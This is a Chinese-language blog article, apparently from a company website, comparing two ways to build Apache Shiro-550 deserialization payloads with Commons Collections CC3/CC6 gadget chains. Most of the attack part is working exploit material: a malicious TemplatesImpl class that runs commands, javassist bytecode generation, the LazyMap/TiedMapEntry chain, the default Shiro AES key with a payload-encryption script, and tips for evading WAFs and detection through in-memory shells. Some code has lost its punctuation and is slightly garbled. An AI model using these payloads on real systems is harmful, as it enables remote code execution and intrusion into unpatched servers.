CC3与CC6链融合利用：Shiro 550漏洞不出网攻击的2种Payload构造对比-北京尧图网络

CC3与CC6链融合利用Shiro 550漏洞不出网攻击的2种Payload构造对比1. 漏洞背景与攻击场景分析Apache Shiro作为广泛使用的Java安全框架其550漏洞源于RememberMe功能的反序列化缺陷。攻击者可在不出网环境下通过精心构造的反序列化Payload实现远程代码执行。本文将深入剖析两种主流利用链——CC3与CC6的融合利用方案。关键限制条件目标环境仅包含Commons Collections 3.2.1无法依赖JRMP二次反序列化Tomcat环境下原生类加载机制的限制提示Shiro的AES加密密钥默认为kPHbIxk5D2deZiIxcaaaA加密模式为CBC使用随机IV2. 核心利用链技术原理2.1 CC6链核心组件// 关键调用链 HashMap.readObject() → TiedMapEntry.hashCode() → LazyMap.get() → Transformer.transform()优势特性不受JDK版本限制通过HashMap触发无需特殊依赖利用TiedMapEntry桥接LazyMap的get方法2.2 CC3链核心组件// 关键调用链 TemplatesImpl.newTransformer() → TrAXFilter构造函数 → InstantiateTransformer.transform()特殊价值直接操作字节码加载规避Transformer数组限制与CC6形成互补利用3. 两种Payload构造方案对比3.1 方案一CC6InvokerTransformer构造步骤准备TemplatesImpl恶意类public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(calc); } // 必须实现的抽象方法... }构建调用链Transformer invoker new InvokerTransformer(newTransformer, null, null); Map lazyMap LazyMap.decorate(new HashMap(), invoker); TiedMapEntry entry new TiedMapEntry(lazyMap, templatesImpl); HashMap expMap new HashMap(); expMap.put(entry, value);技术要点通过反射动态修改iMethodName字段需清除LazyMap初始键值避免提前触发最终通过HashMap#put触发调用链3.2 方案二CC6InstantiateTransformer构造步骤准备TemplatesImpl字节码ClassPool pool ClassPool.getDefault(); CtClass cc pool.makeClass(Evil); cc.makeClassInitializer().insertBefore(Runtime.getRuntime().exec(\calc\);); byte[] bytecodes cc.toBytecode();构建调用链Transformer instantiate new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl}); Map lazyMap LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 后续构造与方案一类似...技术要点利用TrAXFilter自动触发newTransformer需要更精确的类加载控制规避了直接方法调用检测3.3 方案对比矩阵对比维度CC6InvokerTransformerCC6InstantiateTransformer构造复杂度中等需反射修改字段较高需处理字节码依赖条件需要javassist生成字节码需要完整的类定义通用性跨环境稳定性较好对类加载器更敏感规避检测能力一般明显方法调用优秀通过构造函数触发内存占用较小较大需加载完整类4. 实战决策树与排错指南4.1 方案选择决策树是否允许直接方法调用? ├── 是 → 选择CC6InvokerTransformer方案 └── 否 → 选择CC6InstantiateTransformer方案 ├── 目标有javassist依赖? → 直接使用 └── 无javassist依赖 → 预生成字节码嵌入4.2 常见错误排查清单类加载失败问题检查_bytecodes字段是否正确设置确认_tfactory已初始化为TransformerFactoryImpl验证_name字段不为空序列化异常处理使用以下方法确保字段可访问void setFieldValue(Object obj, String field, Object value) throws Exception { Field f obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); }加密Payload生成def encrypt_payload(ser_bytes): key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv os.urandom(16) cipher AES.new(key, AES.MODE_CBC, iv) pad lambda s: s (16 - len(s)%16) * chr(16 - len(s)%16) return base64.b64encode(iv cipher.encrypt(pad(ser_bytes)))5. 高级技巧与防御规避混合链构造技巧组合使用InvokerTransformer和InstantiateTransformer动态切换触发点应对WAF检测使用内存马替代命令执行反检测策略分散恶意代码到多个类加载阶段采用反射动态代理隐藏调用链使用BCEL等替代字节码加载方案在实际渗透测试中建议根据目标环境特征选择最适合的方案。CC6InvokerTransformer更适合快速验证而CC6InstantiateTransformer则在对抗安全防护时更具优势。

CC3与CC6链融合利用：Shiro 550漏洞不出网攻击的2种Payload构造对比

相关推荐

知识图谱+FAB工艺推荐系统

LV3296与PIC18F45K80在工业数据采集中的协同应用

非技术岗位考什么证书更实用？别盲目跟风

更多资讯

STM32燃气安防系统工程级设计与抗干扰实践

Pentagi：AI驱动的渗透测试代理架构解析

Direct-LiNGAM算法：从观测数据中反推因果方向的确定性方案

AI辅助STM32开发：零基础搭建第一个工程并点亮LED

STM32C5+LSM6DSV16X：SPI轮询读取陀螺仪数据详解

微信API高可用实践：CompletableFuture异步优化

今日更新

基于MATLAB的CRI显色指数计算：从SPD光谱到Ra的完整流程

JSP+Servlet+MySQL博客系统源码部署与优化全攻略

蜂窝调度算法 MATLAB 实现：比例公平、轮询与最大 C/I 对比

本周精选

AI驱动的自动化专利分析平台技术解析

LeetCode-Go 题解：1252. Cells with Odd Values in a Matrix（奇数值单元格计数）双解法剖析

在线答疑系统Java毕设实战：Spring Boot前后端分离与状态流转

本月热门

基于YOLO的焊缝缺陷检测：从数据标注到工业部署全流程实践

分布式服务的决策记录

创业产品的首版范围

读完文章，想聊聊您的网站？